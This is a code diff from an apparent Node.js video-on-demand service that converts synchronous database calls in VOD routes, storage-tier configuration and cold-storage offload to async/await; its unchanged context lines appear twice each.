+router.post('/', tenantAuth(), async (req, res) => {
try {
try {
const { title, stream_id, stream_key, managed_stream_id, user_id, meta, visibility, clips_only } = req.body || {};
const { title, stream_id, stream_key, managed_stream_id, user_id, meta, visibility, clips_only } = req.body || {};
- const result = db.createVod({
+ const result = await db.createVod({
app_id: req.appId,
app_id: req.appId,
stream_id: stream_id != null ? parseInt(stream_id, 10) || null : null,
stream_id: stream_id != null ? parseInt(stream_id, 10) || null : null,
stream_key: stream_key || null,
stream_key: stream_key || null,
@@ -118,9 +118,9 @@ router.post('/', tenantAuth(), (req, res) => {
@@ -118,9 +118,9 @@ router.post('/', tenantAuth(), (req, res) => {
});
});
// ── RTMP ingest ──────────────────────────────────────────────
// ── RTMP ingest ──────────────────────────────────────────────
-router.post('/:id/ingest/rtmp', tenantAuth(), (req, res) => {
+router.post('/:id/ingest/rtmp', tenantAuth(), async (req, res) => {
try {
try {
- const vod = _getVodForWrite(req, res);
+ const vod = await _getVodForWrite(req, res);
if (!vod) return;
if (!vod) return;
const result = recorder.startRtmp(vod, req.body?.rtmp_url);
const result = recorder.startRtmp(vod, req.body?.rtmp_url);
if (!result.ok) return res.status(result.status || 409).json({ error: result.error });
if (!result.ok) return res.status(result.status || 409).json({ error: result.error });
@@ -132,9 +132,9 @@ router.post('/:id/ingest/rtmp', tenantAuth(), (req, res) => {
@@ -132,9 +132,9 @@ router.post('/:id/ingest/rtmp', tenantAuth(), (req, res) => {
});
});
// ── RTP ingest ───────────────────────────────────────────────
// ── RTP ingest ───────────────────────────────────────────────
-router.post('/:id/ingest/rtp/start', tenantAuth(), (req, res) => {
+router.post('/:id/ingest/rtp/start', tenantAuth(), async (req, res) => {
try {
try {
- const vod = _getVodForWrite(req, res);
+ const vod = await _getVodForWrite(req, res);
if (!vod) return;
if (!vod) return;
const { video, audio } = req.body || {};
const { video, audio } = req.body || {};
const result = recorder.startRtp(vod, video, audio);
const result = recorder.startRtp(vod, video, audio);
@@ -146,9 +146,9 @@ router.post('/:id/ingest/rtp/start', tenantAuth(), (req, res) => {
@@ -146,9 +146,9 @@ router.post('/:id/ingest/rtp/start', tenantAuth(), (req, res) => {
}
}
});
});
-router.post('/:id/ingest/rtp/stop', tenantAuth(), (req, res) => {
+router.post('/:id/ingest/rtp/stop', tenantAuth(), async (req, res) => {
try {
try {
- const vod = _getVodForWrite(req, res);
+ const vod = await _getVodForWrite(req, res);
if (!vod) return;
if (!vod) return;
const stopped = recorder.stopRecording(vod.id);
const stopped = recorder.stopRecording(vod.id);
if (!stopped && !vod.is_recording) return res.status(409).json({ error: 'VOD is not recording' });
if (!stopped && !vod.is_recording) return res.status(409).json({ error: 'VOD is not recording' });
@@ -163,7 +163,7 @@ router.post('/:id/ingest/rtp/stop', tenantAuth(), (req, res) => {
@@ -163,7 +163,7 @@ router.post('/:id/ingest/rtp/stop', tenantAuth(), (req, res) => {
// ── Chunked upload (browser MediaRecorder; user JWT ok) ──────
// ── Chunked upload (browser MediaRecorder; user JWT ok) ──────
router.post('/:id/chunks', tenantAuth({ allowUser: true }), chunkUpload.single('chunk'), async (req, res) => {
router.post('/:id/chunks', tenantAuth({ allowUser: true }), chunkUpload.single('chunk'), async (req, res) => {
try {
try {
- const vod = _getVodForWrite(req, res);
+ const vod = await _getVodForWrite(req, res);
if (!vod) { if (req.file) tools.cleanupTempFile(req.file.path); return; }
if (!vod) { if (req.file) tools.cleanupTempFile(req.file.path); return; }
if (!req.file) return res.status(400).json({ error: 'No chunk data' });
if (!req.file) return res.status(400).json({ error: 'No chunk data' });
const segmentId = Math.max(1, parseInt(req.body?.segmentId || req.query.segmentId || '1', 10) || 1);
const segmentId = Math.max(1, parseInt(req.body?.segmentId || req.query.segmentId || '1', 10) || 1);
@@ -189,7 +189,7 @@ router.post('/:id/chunks', tenantAuth({ allowUser: true }), chunkUpload.single('
@@ -189,7 +189,7 @@ router.post('/:id/chunks', tenantAuth({ allowUser: true }), chunkUpload.single('
fs.copyFileSync(req.file.path, filePath);
fs.copyFileSync(req.file.path, filePath);
tools.cleanupTempFile(req.file.path);
tools.cleanupTempFile(req.file.path);
- objects.withObject('vod', vod.id, () => db.run('UPDATE vods SET file_path = ?, file_size = ?, is_recording = 1 WHERE id = ?',
+ await objects.withObject('vod', vod.id, async () => await db.run('UPDATE vods SET file_path = ?, file_size = ?, is_recording = 1 WHERE id = ?',
[filePath, fs.statSync(filePath).size, vod.id]));
[filePath, fs.statSync(filePath).size, vod.id]));
rec = { filePath, startTime: Date.now(), chunkCount: 1, currentSegmentId: segmentId, currentSegmentPath: filePath };
rec = { filePath, startTime: Date.now(), chunkCount: 1, currentSegmentId: segmentId, currentSegmentPath: filePath };
@@ -223,7 +223,7 @@ router.post('/:id/chunks', tenantAuth({ allowUser: true }), chunkUpload.single('
@@ -223,7 +223,7 @@ router.post('/:id/chunks', tenantAuth({ allowUser: true }), chunkUpload.single('
const size = tools.getFileSizeSafe(rec.filePath)
const size = tools.getFileSizeSafe(rec.filePath)
+ (rec.currentSegmentPath && rec.currentSegmentPath !== rec.filePath ? tools.getFileSizeSafe(rec.currentSegmentPath) : 0);
+ (rec.currentSegmentPath && rec.currentSegmentPath !== rec.filePath ? tools.getFileSizeSafe(rec.currentSegmentPath) : 0);
const elapsed = Math.round((Date.now() - rec.startTime) / 1000);
const elapsed = Math.round((Date.now() - rec.startTime) / 1000);
- objects.withObject('vod', vod.id, () => db.run('UPDATE vods SET file_size = ?, duration_seconds = ? WHERE id = ?', [size, elapsed, vod.id]));
+ await objects.withObject('vod', vod.id, async () => await db.run('UPDATE vods SET file_size = ?, duration_seconds = ? WHERE id = ?', [size, elapsed, vod.id]));
// Seekable sidecar for live DVR (every 2 chunks ≈ ~60s)
// Seekable sidecar for live DVR (every 2 chunks ≈ ~60s)
if (rec.chunkCount >= 2 && rec.chunkCount % 2 === 0) {
if (rec.chunkCount >= 2 && rec.chunkCount % 2 === 0) {
@@ -240,7 +240,7 @@ router.post('/:id/chunks', tenantAuth({ allowUser: true }), chunkUpload.single('
@@ -240,7 +240,7 @@ router.post('/:id/chunks', tenantAuth({ allowUser: true }), chunkUpload.single('
async function _finalizeHandler(req, res) {
async function _finalizeHandler(req, res) {
try {
try {
- const vod = _getVodForWrite(req, res);
+ const vod = await _getVodForWrite(req, res);
if (!vod) return;
if (!vod) return;
// Live ffmpeg recording → stop gracefully; its exit handler finalizes.
// Live ffmpeg recording → stop gracefully; its exit handler finalizes.
@@ -256,7 +256,7 @@ async function _finalizeHandler(req, res) {
@@ -256,7 +256,7 @@ async function _finalizeHandler(req, res) {
segmentPath: chunkRec && chunkRec.currentSegmentPath !== chunkRec.filePath ? chunkRec.currentSegmentPath : null,
segmentPath: chunkRec && chunkRec.currentSegmentPath !== chunkRec.filePath ? chunkRec.currentSegmentPath : null,
});
});
if (!result) return res.status(409).json({ error: 'Nothing to finalize (finalization already in progress or VOD discarded)' });
if (!result) return res.status(409).json({ error: 'Nothing to finalize (finalization already in progress or VOD discarded)' });
- res.json({ vod: vodPublic(result, { readiness: true }) });
+ res.json({ vod: await vodPublic(result, { readiness: true }) });
} catch (err) {
} catch (err) {
console.error('[VOD] Finalize error:', err.message);
console.error('[VOD] Finalize error:', err.message);
res.status(500).json({ error: 'Failed to finalize VOD' });
res.status(500).json({ error: 'Failed to finalize VOD' });
@@ -270,7 +270,7 @@ router.post('/:id/finalize', tenantAuth(), _finalizeHandler);
@@ -270,7 +270,7 @@ router.post('/:id/finalize', tenantAuth(), _finalizeHandler);
// Filters follow the inherited query shapes: user_id, stream_id,
// Filters follow the inherited query shapes: user_id, stream_id,
// managed_stream_id, include_private (private+unlisted too), order
// managed_stream_id, include_private (private+unlisted too), order
// (newest|oldest|views|peak_viewers), since (created at or after), limit/offset.
// (newest|oldest|views|peak_viewers), since (created at or after), limit/offset.
-router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
+router.get('/', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
const limit = Math.min(Math.max(parseInt(req.query.limit || '50', 10), 1), 500);
const limit = Math.min(Math.max(parseInt(req.query.limit || '50', 10), 1), 500);
const offset = Math.max(parseInt(req.query.offset || '0', 10), 0);
const offset = Math.max(parseInt(req.query.offset || '0', 10), 0);
@@ -289,9 +289,9 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
@@ -289,9 +289,9 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
// Created at or after (ISO 8601 or 'YYYY-MM-DD HH:MM:SS', UTC): "top this week".
// Created at or after (ISO 8601 or 'YYYY-MM-DD HH:MM:SS', UTC): "top this week".
since: req.query.since || null,
since: req.query.since || null,
};
};
- const vods = db.listVods(req.appId, filters);
- const total = db.countVods(req.appId, filters);
- res.json({ vods: vods.map(v => vodPublic(v, { readiness: true })), total, limit, offset, hasMore: offset + vods.length < total });
+ const vods = await db.listVods(req.appId, filters);
+ const total = await db.countVods(req.appId, filters);
+ res.json({ vods: (await Promise.all(vods.map(async v => await vodPublic(v, { readiness: true })))), total, limit, offset, hasMore: offset + vods.length < total });
} catch (err) {
} catch (err) {
console.error('[VOD] List error:', err.message);
console.error('[VOD] List error:', err.message);
res.status(500).json({ error: 'Failed to list VODs' });
res.status(500).json({ error: 'Failed to list VODs' });
@@ -300,10 +300,10 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
@@ -300,10 +300,10 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
// ── Latest VOD thumbnail per managed stream (batch) ──────────
// ── Latest VOD thumbnail per managed stream (batch) ──────────
// GET /latest-thumbs?managed_stream_ids=1,2,3 → { "<msid>": { vod_id, thumbnail_url } }
// GET /latest-thumbs?managed_stream_ids=1,2,3 → { "<msid>": { vod_id, thumbnail_url } }
-router.get('/latest-thumbs', tenantAuth({ allowUser: true }), (req, res) => {
+router.get('/latest-thumbs', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
const ids = String(req.query.managed_stream_ids || '').split(',').filter(Boolean);
const ids = String(req.query.managed_stream_ids || '').split(',').filter(Boolean);
- res.json({ thumbs: db.latestVodThumbsByManagedStreams(req.appId, ids) });
+ res.json({ thumbs: await db.latestVodThumbsByManagedStreams(req.appId, ids) });
} catch (err) {
} catch (err) {
console.error('[VOD] latest-thumbs error:', err.message);
console.error('[VOD] latest-thumbs error:', err.message);
res.status(500).json({ error: 'Failed to resolve thumbnails' });
res.status(500).json({ error: 'Failed to resolve thumbnails' });
@@ -314,9 +314,9 @@ router.get('/latest-thumbs', tenantAuth({ allowUser: true }), (req, res) => {
@@ -314,9 +314,9 @@ router.get('/latest-thumbs', tenantAuth({ allowUser: true }), (req, res) => {
// The owning app (its key alone, not a call acting for one of its users) asks for a short-lived URL of a VOD's bytes
// The owning app (its key alone, not a call acting for one of its users) asks for a short-lived URL of a VOD's bytes
// to hand to a reader that holds no key: OpenVibe.AI transcribing it (roadmap WS-O task 2). ttl in seconds, 30 s to
// to hand to a reader that holds no key: OpenVibe.AI transcribing it (roadmap WS-O task 2). ttl in seconds, 30 s to
// 6 h (default 1 h). Public VODs get the same kind of URL; it works for any visibility.
// 6 h (default 1 h). Public VODs get the same kind of URL; it works for any visibility.
-router.get('/:id/signed-url', tenantAuth(), (req, res) => {
+router.get('/:id/signed-url', tenantAuth(), async (req, res) => {
if (req.authType !== 'app') return res.status(403).json({ error: 'only the owning app signs a playback URL' });
if (req.authType !== 'app') return res.status(403).json({ error: 'only the owning app signs a playback URL' });
- const vod = _getVodScoped(req, res);
+ const vod = await _getVodScoped(req, res);
if (!vod) return;
if (!vod) return;
res.set('Cache-Control', 'private, no-store');
res.set('Cache-Control', 'private, no-store');
res.json(require('../objects/signing').signedMediaUrl('vod', vod.id, req.query.ttl));
res.json(require('../objects/signing').signedMediaUrl('vod', vod.id, req.query.ttl));
@@ -325,7 +325,7 @@ router.get('/:id/signed-url', tenantAuth(), (req, res) => {
@@ -325,7 +325,7 @@ router.get('/:id/signed-url', tenantAuth(), (req, res) => {
// ── Get VOD meta ─────────────────────────────────────────────
// ── Get VOD meta ─────────────────────────────────────────────
router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {
router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
- const vod = _getVodScoped(req, res);
+ const vod = await _getVodScoped(req, res);
if (!vod) return;
if (!vod) return;
// Acting for one of the app's users (X-OV-User-Id): their private VODs only — anyone
// Acting for one of the app's users (X-OV-User-Id): their private VODs only — anyone
// else's answers exactly like a missing id. The app key alone sees the namespace.
// else's answers exactly like a missing id. The app key alone sees the namespace.
@@ -339,7 +339,7 @@ router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {
@@ -339,7 +339,7 @@ router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {
const duration = await tools.probeVodDuration(vod.file_path);
const duration = await tools.probeVodDuration(vod.file_path);
if (duration > 0) {
if (duration > 0) {
const fileSize = tools.getFileSizeSafe(vod.file_path);
const fileSize = tools.getFileSizeSafe(vod.file_path);
- objects.withObject('vod', vod.id, () => db.run("UPDATE vods SET duration_seconds = ?, file_size = ?, duration_source = 'probe' WHERE id = ?", [duration, fileSize, vod.id]));
+ await objects.withObject('vod', vod.id, async () => await db.run("UPDATE vods SET duration_seconds = ?, file_size = ?, duration_source = 'probe' WHERE id = ?", [duration, fileSize, vod.id]));
vod.duration_seconds = duration;
vod.duration_seconds = duration;
vod.file_size = fileSize;
vod.file_size = fileSize;
}
}
@@ -347,7 +347,7 @@ router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {
@@ -347,7 +347,7 @@ router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {
// Bare object per CONTRACTS.md: { id, title, status, duration, … }
// Bare object per CONTRACTS.md: { id, title, status, duration, … }
// Detail responses carry the transcript too (lists stay light).
// Detail responses carry the transcript too (lists stay light).
- res.json({ ...vodPublic(vod, { readiness: true }), ai_transcript: vod.ai_transcript || null });
+ res.json({ ...await vodPublic(vod, { readiness: true }), ai_transcript: vod.ai_transcript || null });
} catch (err) {
} catch (err) {
console.error('[VOD] Get error:', err.message);
console.error('[VOD] Get error:', err.message);
res.status(500).json({ error: 'Failed to get VOD' });
res.status(500).json({ error: 'Failed to get VOD' });
@@ -355,9 +355,9 @@ router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {
@@ -355,9 +355,9 @@ router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {
});
});
// ── Update ───────────────────────────────────────────────────
// ── Update ───────────────────────────────────────────────────
-router.put('/:id', tenantAuth(), (req, res) => {
+router.put('/:id', tenantAuth(), async (req, res) => {
try {
try {
- const vod = _getVodForWrite(req, res);
+ const vod = await _getVodForWrite(req, res);
if (!vod) return;
if (!vod) return;
const { title, description, visibility } = req.body || {};
const { title, description, visibility } = req.body || {};
const updates = [];
const updates = [];
@@ -365,14 +365,14 @@ router.put('/:id', tenantAuth(), (req, res) => {
@@ -365,14 +365,14 @@ router.put('/:id', tenantAuth(), (req, res) => {
if (title !== undefined) { updates.push('title = ?'); params.push(String(title).slice(0, 300)); }
if (title !== undefined) { updates.push('title = ?'); params.push(String(title).slice(0, 300)); }
if (description !== undefined) { updates.push('description = ?'); params.push(String(description)); }
if (description !== undefined) { updates.push('description = ?'); params.push(String(description)); }
// Title, description and visibility, and the object, in one transaction.
// Title, description and visibility, and the object, in one transaction.
- objects.withObject('vod', vod.id, () => {
+ await objects.withObject('vod', vod.id, async () => {
if (updates.length) {
if (updates.length) {
params.push(vod.id);
params.push(vod.id);
- db.run(`UPDATE vods SET ${updates.join(', ')} WHERE id = ?`, params);
+ await db.run(`UPDATE vods SET ${updates.join(', ')} WHERE id = ?`, params);
}
}
- if (visibility !== undefined) db.setVodVisibility(vod.id, visibility);
+ if (visibility !== undefined) await db.setVodVisibility(vod.id, visibility);
});
});
- res.json({ vod: vodPublic(db.getVodById(vod.id, req.appId), { readiness: true }) });
+ res.json({ vod: await vodPublic(await db.getVodById(vod.id, req.appId), { readiness: true }) });
} catch (err) {
} catch (err) {
console.error('[VOD] Update error:', err.message);
console.error('[VOD] Update error:', err.message);
res.status(500).json({ error: 'Failed to update VOD' });
res.status(500).json({ error: 'Failed to update VOD' });
@@ -380,11 +380,11 @@ router.put('/:id', tenantAuth(), (req, res) => {
@@ -380,11 +380,11 @@ router.put('/:id', tenantAuth(), (req, res) => {
});
});
// ── Delete ───────────────────────────────────────────────────
// ── Delete ───────────────────────────────────────────────────
-router.delete('/:id', tenantAuth(), (req, res) => {
+router.delete('/:id', tenantAuth(), async (req, res) => {
try {
try {
- const vod = _getVodForWrite(req, res);
+ const vod = await _getVodForWrite(req, res);
if (!vod) return;
if (!vod) return;
- if (objects.isHeldRow(vod)) return res.status(409).json({ error: 'VOD is under a retention hold', code: 'media.object.held' });
+ if (await objects.isHeldRow(vod)) return res.status(409).json({ error: 'VOD is under a retention hold', code: 'media.object.held' });
if (recorder.isRecording(vod.id)) recorder.stopRecording(vod.id);
if (recorder.isRecording(vod.id)) recorder.stopRecording(vod.id);
activeChunkUploads.delete(vod.id);
activeChunkUploads.delete(vod.id);
@@ -398,7 +398,7 @@ router.delete('/:id', tenantAuth(), (req, res) => {
@@ -398,7 +398,7 @@ router.delete('/:id', tenantAuth(), (req, res) => {
try { if (vod.master_file_path && fs.existsSync(vod.master_file_path)) fs.unlinkSync(vod.master_file_path); } catch { /* */ }
try { if (vod.master_file_path && fs.existsSync(vod.master_file_path)) fs.unlinkSync(vod.master_file_path); } catch { /* */ }
}
}
- db.run('DELETE FROM vods WHERE id = ?', [vod.id]); // its object is marked deleted by the row-delete trigger, same statement
+ await db.run('DELETE FROM vods WHERE id = ?', [vod.id]); // its object is marked deleted by the row-delete trigger, same statement
res.json({ message: 'VOD deleted' });
res.json({ message: 'VOD deleted' });
} catch (err) {
} catch (err) {
console.error('[VOD] Delete error:', err.message);
console.error('[VOD] Delete error:', err.message);
@@ -44,47 +44,60 @@ function validate(v) {
@@ -44,47 +44,60 @@ function validate(v) {
return errors.length ? errors : true;
return errors.length ? errors : true;
}
}
-function legacyRows() {
- const rows = db.all("SELECT key, value FROM media_settings WHERE key LIKE 'storage_tier.%'") || [];
+async function legacyRows() {
+ const rows = await db.all("SELECT key, value FROM media_settings WHERE key ILIKE 'storage_tier.%'") || [];
if (!rows.length) return {}; // nothing overridden: revision 1 sets nothing (the defaults apply)
if (!rows.length) return {}; // nothing overridden: revision 1 sets nothing (the defaults apply)
return config.fromRows(rows.map((r) => ({ key: r.key, value: r.value, type: 'json' })), { prefix: 'storage_tier.' });
return config.fromRows(rows.map((r) => ({ key: r.key, value: r.value, type: 'json' })), { prefix: 'storage_tier.' });
}
}
/** media_settings mirrors the active revision exactly: its explicit keys as rows, every other storage_tier.* row gone. */
/** media_settings mirrors the active revision exactly: its explicit keys as rows, every other storage_tier.* row gone. */
-function writeThrough(values, defaults) {
+async function writeThrough(values, defaults) {
const h = db.getDb();
const h = db.getDb();
const up = h.prepare('INSERT INTO media_settings (key, value) VALUES (?, ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value');
const up = h.prepare('INSERT INTO media_settings (key, value) VALUES (?, ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value');
const del = h.prepare('DELETE FROM media_settings WHERE key = ?');
const del = h.prepare('DELETE FROM media_settings WHERE key = ?');
- h.transaction(() => {
+ await h.tx(async () => {
for (const k of Object.keys(defaults)) {
for (const k of Object.keys(defaults)) {
- if (values[k] !== undefined) up.run(`storage_tier.${k}`, JSON.stringify(values[k]));
- else del.run(`storage_tier.${k}`);
+ if (values[k] !== undefined) await up.run(`storage_tier.${k}`, JSON.stringify(values[k]));
+ else await del.run(`storage_tier.${k}`);
}
}
- })();
+ });
}
}
-/** The store (created on first use, once the database is open). */
-function get(defaults) {
+let explicit = new Set(); // keys the active revision sets explicitly (read on activation: snapshots are async)
+
+/** Create the store once the database is open (boot: server/index.js; tests). */
+async function init(defaults, { log = null } = {}) {
if (store) return store;
if (store) return store;
const known = Object.keys(defaults);
const known = Object.keys(defaults);
- store = config.createConfigStore({
+ // Stored revisions only carry known keys: a key a later release dropped is ignored, not refused.
+ // Revision 1 holds exactly what was overridden, so "set explicitly" stays distinguishable from a default.
+ const legacy = await legacyRows();
+ const s = await config.createConfigStore({
db: db.getDb(), service: 'media', namespace: 'media.storage_tier',
db: db.getDb(), service: 'media', namespace: 'media.storage_tier',
defaults, schema: schemaFor(defaults), validate,
defaults, schema: schemaFor(defaults), validate,
- // Stored revisions only carry known keys: a key a later release dropped is ignored, not refused.
- // Revision 1 holds exactly what was overridden, so "set explicitly" stays distinguishable from a default.
- legacy: () => { const l = legacyRows(); const out = {}; for (const k of known) if (l[k] !== undefined) out[k] = l[k]; return out; },
+ legacy: () => { const out = {}; for (const k of known) if (legacy[k] !== undefined) out[k] = legacy[k]; return out; },
onActivate: async (values, _previous, { revision }) => {
onActivate: async (values, _previous, { revision }) => {
- writeThrough(explicitValues(revision, values), defaults);
+ const ex = await explicitValues(revision, values);
+ if (store) explicit = new Set(Object.keys(ex));
+ await writeThrough(ex, defaults);
if (onApplied) onApplied(values);
if (onApplied) onApplied(values);
},
},
- log: { info: (m) => console.log(`[Tiers] ${m}`), warn: (m) => console.warn(`[Tiers] ${m}`), error: (m) => console.error(`[Tiers] ${m}`) },
+ log: log || { info: (m) => console.log(`[Tiers] ${m}`), warn: (m) => console.warn(`[Tiers] ${m}`), error: (m) => console.error(`[Tiers] ${m}`) },
});
});
+ store = s;
+ explicit = new Set(Object.keys(await explicitValues(s.revision(), s.get())));
+ return store;
+}
+
+/** The store init() created (get() on it reads memory). */
+function get() {
+ if (!store) throw new Error('media.storage_tier is not loaded yet (tier-config init() at boot)');
return store;
return store;
}
}
/** The values a revision sets explicitly (written through to media_settings; defaults stay rowless). */
/** The values a revision sets explicitly (written through to media_settings; defaults stay rowless). */
-function explicitValues(revision, effective) {
- const snap = store && revision != null ? store.snapshot(revision) : null;
+async function explicitValues(revision, effective) {
+ const snap = store && revision != null ? await store.snapshot(revision) : null;
const out = {};
const out = {};
for (const k of Object.keys((snap && snap.values) || {})) out[k] = effective[k];
for (const k of Object.keys((snap && snap.values) || {})) out[k] = effective[k];
return out;
return out;
@@ -92,9 +105,8 @@ function explicitValues(revision, effective) {
@@ -92,9 +105,8 @@ function explicitValues(revision, effective) {
/** Which keys the active revision sets explicitly (anything else is its default). */
/** Which keys the active revision sets explicitly (anything else is its default). */
function explicitKeys() {
function explicitKeys() {
- if (!store || store.revision() == null) return new Set();
- const snap = store.snapshot(store.revision());
- return new Set(Object.keys((snap && snap.values) || {}));
+ if (!store) return new Set();
+ return new Set(explicit);
}
}
-module.exports = { get, explicitKeys, schemaFor, validate, setOnApplied: (fn) => { onApplied = fn; }, _reset: () => { store = null; } };
+module.exports = { init, get, explicitKeys, schemaFor, validate, setOnApplied: (fn) => { onApplied = fn; }, _reset: () => { store = null; explicit = new Set(); } };
@@ -166,11 +166,11 @@ function _thresholdSnapshot(settings = getSettings()) {
@@ -166,11 +166,11 @@ function _thresholdSnapshot(settings = getSettings()) {
return out;
return out;
}
}
-function _tierInputs(vod) {
+async function _tierInputs(vod) {
if (!vod) return {};
if (!vod) return {};
return {
return {
view_count: Number(vod.view_count) || 0, last_accessed_at: vod.last_accessed_at || null, storage_provider: providerOf(vod),
view_count: Number(vod.view_count) || 0, last_accessed_at: vod.last_accessed_at || null, storage_provider: providerOf(vod),
- is_recording: !!vod.is_recording, held: _held(vod), file_size: Number(vod.file_size) || 0, created_at: vod.created_at || null,
+ is_recording: !!vod.is_recording, held: await _held(vod), file_size: Number(vod.file_size) || 0, created_at: vod.created_at || null,
};
};
}
}
@@ -186,12 +186,12 @@ function _outcomeOf(result, action, from) {
@@ -186,12 +186,12 @@ function _outcomeOf(result, action, from) {
* Log one R2 promotion or demotion (media_tier_decisions): what the VOD looked like, the thresholds
* Log one R2 promotion or demotion (media_tier_decisions): what the VOD looked like, the thresholds
* in force, why, and how it ended. Never throws: the move already happened (or did not).
* in force, why, and how it ended. Never throws: the move already happened (or did not).
*/
*/
-function recordTierDecision({ vod, vodId, action, from, to, result, trigger = 'manual', reason = 'requested' }) {
+async function recordTierDecision({ vod, vodId, action, from, to, result, trigger = 'manual', reason = 'requested' }) {
try {
try {
- db.run(`INSERT INTO media_tier_decisions (vod_id, app_id, object_id, action, from_provider, to_provider, outcome, trigger, reason, inputs, thresholds, error)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
+ await db.run(`INSERT INTO media_tier_decisions (vod_id, app_id, object_id, action, from_provider, to_provider, outcome, trigger, reason, inputs, thresholds, error)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) RETURNING id`,
[Number(vodId), vod ? vod.app_id : null, vod ? vod.object_id || null : null, action, from || null, to || null, _outcomeOf(result, action, from),
[Number(vodId), vod ? vod.app_id : null, vod ? vod.object_id || null : null, action, from || null, to || null, _outcomeOf(result, action, from),
- String(trigger).slice(0, 40), String(reason).slice(0, 500), JSON.stringify(_tierInputs(vod)), JSON.stringify(_thresholdSnapshot()),
+ String(trigger).slice(0, 40), String(reason).slice(0, 500), JSON.stringify(await _tierInputs(vod)), JSON.stringify(_thresholdSnapshot()),
result && !result.ok ? String(result.error || 'failed').slice(0, 500) : null]);
result && !result.ok ? String(result.error || 'failed').slice(0, 500) : null]);
} catch (err) {
} catch (err) {
console.warn(`[VodStorage] tier decision for VOD ${vodId} not logged: ${err.message}`);
console.warn(`[VodStorage] tier decision for VOD ${vodId} not logged: ${err.message}`);
@@ -239,11 +239,11 @@ function endpointFor(name) {
@@ -239,11 +239,11 @@ function endpointFor(name) {
// placement (`write`) and re-projects the VOD's media_locations in one transaction (WS-G task 1;
// placement (`write`) and re-projects the VOD's media_locations in one transaction (WS-G task 1;
// afterTierMove). Lazy — the model requires this module.
// afterTierMove). Lazy — the model requires this module.
const objects = () => require('../objects/model');
const objects = () => require('../objects/model');
-function _held(vod) { return objects().isHeldRow(vod); }
-function _moved(vodId, verified, write = null) { return objects().afterTierMove(vodId, verified, write); }
+async function _held(vod) { return await objects().isHeldRow(vod); }
+async function _moved(vodId, verified, write = null) { return await objects().afterTierMove(vodId, verified, write); }
// After a move removed the local copy (the row already names the remote one): the object's locations
// After a move removed the local copy (the row already names the remote one): the object's locations
// follow the disk. File I/O after the commit, so a follow-up rather than part of the write.
// follow the disk. File I/O after the commit, so a follow-up rather than part of the write.
-function _localRemoved(vodId) { objects().safeSync('vod', vodId); }
+async function _localRemoved(vodId) { await objects().safeSync('vod', vodId); }
function keyForVod(vod) {
function keyForVod(vod) {
if (vod.storage_key) return vod.storage_key;
if (vod.storage_key) return vod.storage_key;
@@ -518,10 +518,10 @@ function cleanupSidecar(localPath) {
@@ -518,10 +518,10 @@ function cleanupSidecar(localPath) {
/** Offload a local VOD to B2 (cold). */
/** Offload a local VOD to B2 (cold). */
async function moveToCold(vodId) {
async function moveToCold(vodId) {
- const vod = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
+ const vod = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
if (!vod || !vod.file_path) return { ok: false, error: 'VOD not found' };
if (!vod || !vod.file_path) return { ok: false, error: 'VOD not found' };
if (vod.is_recording) return { ok: false, error: 'VOD is currently recording' };
if (vod.is_recording) return { ok: false, error: 'VOD is currently recording' };
- if (_held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };
+ if (await _held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };
if (!providerConfigured('b2')) return { ok: false, error: 'B2 not configured' };
if (!providerConfigured('b2')) return { ok: false, error: 'B2 not configured' };
const key = keyForVod(vod);
const key = keyForVod(vod);
@@ -531,12 +531,12 @@ async function moveToCold(vodId) {
@@ -531,12 +531,12 @@ async function moveToCold(vodId) {
if (!fs.existsSync(local)) {
if (!fs.existsSync(local)) {
// Not local — maybe already offloaded
// Not local — maybe already offloaded
if (await headObject('b2', key)) {
if (await headObject('b2', key)) {
- _moved(vodId, ['b2'], () => db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vodId]));
+ await _moved(vodId, ['b2'], async () => await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vodId]));
return { ok: true, already: true };
return { ok: true, already: true };
}
}
// Neither here nor in B2: nothing to offload, ever. Quarantine the row so the
// Neither here nor in B2: nothing to offload, ever. Quarantine the row so the
// sweep stops re-selecting it (see runSweep) and listings stop showing it.
// sweep stops re-selecting it (see runSweep) and listings stop showing it.
- quarantineMissing(vodId, 'local file missing and no B2 object');
+ await quarantineMissing(vodId, 'local file missing and no B2 object');
return { ok: false, error: 'Source file missing' };
return { ok: false, error: 'Source file missing' };
}
}
@@ -546,12 +546,12 @@ async function moveToCold(vodId) {
@@ -546,12 +546,12 @@ async function moveToCold(vodId) {
await uploadFile('b2', key, local);
await uploadFile('b2', key, local);
}
}
- _moved(vodId, ['b2'], () => db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vodId]));
+ await _moved(vodId, ['b2'], async () => await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vodId]));
try { fs.unlinkSync(local); } catch (err) {
try { fs.unlinkSync(local); } catch (err) {
console.error(`[VodStorage] Uploaded but failed to remove local file for VOD ${vodId}:`, err.message);
console.error(`[VodStorage] Uploaded but failed to remove local file for VOD ${vodId}:`, err.message);
}
}
cleanupSidecar(local);
cleanupSidecar(local);
- _localRemoved(vodId);
+ await _localRemoved(vodId);
